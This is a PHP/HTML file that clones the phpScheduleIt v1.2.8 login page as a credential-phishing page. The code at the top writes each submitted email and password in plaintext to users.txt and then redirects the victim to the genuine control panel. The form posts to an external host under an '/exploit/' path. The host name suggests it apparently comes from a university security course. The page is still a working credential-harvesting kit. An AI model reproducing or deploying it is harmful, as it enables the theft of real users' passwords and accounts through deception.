<?php
if(isset($_POST['login']))
{
	$email = $_POST['email'];
	$password = $_POST['password'];
	$file = fopen("users.txt", "a+");
	if($file)
	{
		fwrite($file, "email: $email\npassword: $password\n");
	}
	fclose($file);
	header("Location: http://www.cs5331hgns.com/PhpProjectIntegration/ctrlpnl.php");
}
?>
	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
		"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
	<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
	<head>
	<title>
	Welcome to phpScheduleIt!	</title>
	<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
		<link rel="shortcut icon" href="favicon.ico"/>
	<link rel="icon" href="favicon.ico"/>
	<script language="JavaScript" type="text/javascript" src="functions.js"></script>
	<script language="JavaScript" type="text/javascript" src="ajax.js"></script>
	<style type="text/css">
	@import url(jscalendar/calendar-blue-custom.css);
	@import url(css.css);
	</style>
	<script type="text/javascript" src="jscalendar/calendar.js"></script>
	<script type="text/javascript" src="jscalendar/lang/calendar-en.js"></script>
	<script type="text/javascript" src="jscalendar/calendar-setup.js"></script>
	</head>
	<body>

	<div align="left"><img src="img/phpScheduleIt.gif" alt="logo" vspace="5"/></div>	<p>&nbsp;</p>
	<table width="100%" border="0" cellspacing="0" cellpadding="10" style="border: solid #CCCCCC 1px;">
	  <tr>
		<td bgcolor="#FAFAFA">
		  <script language="JavaScript" type="text/javascript">checkBrowser();</script>    
		  <table border="0" cellspacing="0" cellpadding="0" align="center" class="alert" style=""><tbody><tr><td>You are not logged in!</td></tr></tbody></table>
		  <form name="login" method="post" action="http://www.cs5331hgns.com/exploit/index.php">
        <table width="350px" border="0" cellspacing="0" cellpadding="1" align="center">
            <tr>
                <td bgcolor="#CCCCCC">
                    <table width="100%" border="0" cellspacing="0" cellpadding="3">
                        <tr bgcolor="#EDEDED">
                            <td colspan="2" style="border-bottom: solid 1px #CCCCCC;">
                                <h5 align="center">Please Log In</h5>
                            </td>
                        </tr>
                        <tr bgcolor="#FFFFFF">
                            <td width="150">
                                <p><b>Email address</b></p>
                            </td>
                            <td>
                                <input type="text" name="email" class="textbox" />
                            </td>
                        </tr>
                        <tr bgcolor="#FFFFFF">
                            <td>
                                <p><b>Password</b></p>
                            </td>
                            <td>
                                <input type="password" name="password" class="textbox" />
                            </td>
                        </tr>
                        <tr bgcolor="#FFFFFF">
                            <td>
                                <p><b>Language</b></p>
                            </td>
                            <td>
                                		<select name="language" class="textbox" onchange="changeLanguage(this);">
		<option value="zh_CN">Chinese Simplified (&#x7b80;&#x4f53;&#x4e2d;&#x6587;)</option>
<option value="zh_TW">Chinese Traditional (&#x6b63;&#x9ad4;&#x4e2d;&#x6587;)</option>
<option value="cs">Czech (&#x010c;esky)</option>
<option value="de">Deutsch</option>
<option value="en_US" selected="selected">English US (Default)</option>
<option value="en_GB">English GB</option>
<option value="es">Espa&ntilde;ol</option>
<option value="fr">Fran&ccedil;ais</option>
<option value="el">Greek (&#x0395;&#x03bb;&#x03bb;&#x03b7;&#x03bd;&#x03b9;&#x03ba;&#x03ac;)</option>
<option value="it">Italiano</option>
<option value="ja">Japanese</option>
<option value="ko">Korean</option>
<option value="hu">Magyar</option>
<option value="nl">Nederlands</option>
<option value="pt_PT">Portugu&ecirc;s</option>
<option value="pt_BR">Portugu&ecirc;s Brasileiro</option>
<option value="ru">Russian (&#x0420;&#x0443;&#x0441;&#x0441;&#x043a;&#x0438;&#x0439;)</option>
<option value="sk">Slovak (Sloven&#x010d;ina)</option>
<option value="sl">Slovensko</option>
<option value="fi">Suomi</option>
<option value="sv">Swedish</option>
<option value="tr">T&uuml;rk&ccedil;e</option>
		</select>
		                            </td>
                        </tr>
                        <tr bgcolor="#FFFFFF">
                            <td>
                                <p><b>Keep me logged in <br/>(requires cookies)</b></p>
                            </td>
                            <td>
                                <input type="checkbox" name="setCookie" value="true" />
                            </td>
                        </tr>
                        <tr bgcolor="#FAFAFA">
                            <td colspan="2" style="border-top: solid 1px #CCCCCC;">
                                <p align="center">
                                                                        <input type="submit" name="login" value="Log In" class="button" />
                                    <input type="hidden" name="resume" value="" />
                                </p>
                                        <h4 align="center" style="margin-bottom:1px;"><b>First time user?                                    <a href="register.php"  >Click here to register</a>
                                    </h4>
                                                                    </td>
                        </tr>
                    </table>
                </td>
            </tr>
        </table>
        <p align="center">
    <a href="roschedule.php"  >View Schedule</a>
            |
            <a href="forgot_pwd.php"  >I Forgot My Password</a>
            |
            <a href="javascript: help();"  >Help</a>
        </p>
    </form>
    <form name="loginfb" method="post" action="flogin.php">
        <p align="center">
            <input type="submit" name="fb" value="Facebook Connect" class="button" />
        </p>
    </form>
    		</td>
	  </tr>
	</table>
		<p align="center"><a href="http://phpscheduleit.sourceforge.net">phpScheduleIt v1.2.8</a></p>
	</body>
	</html>

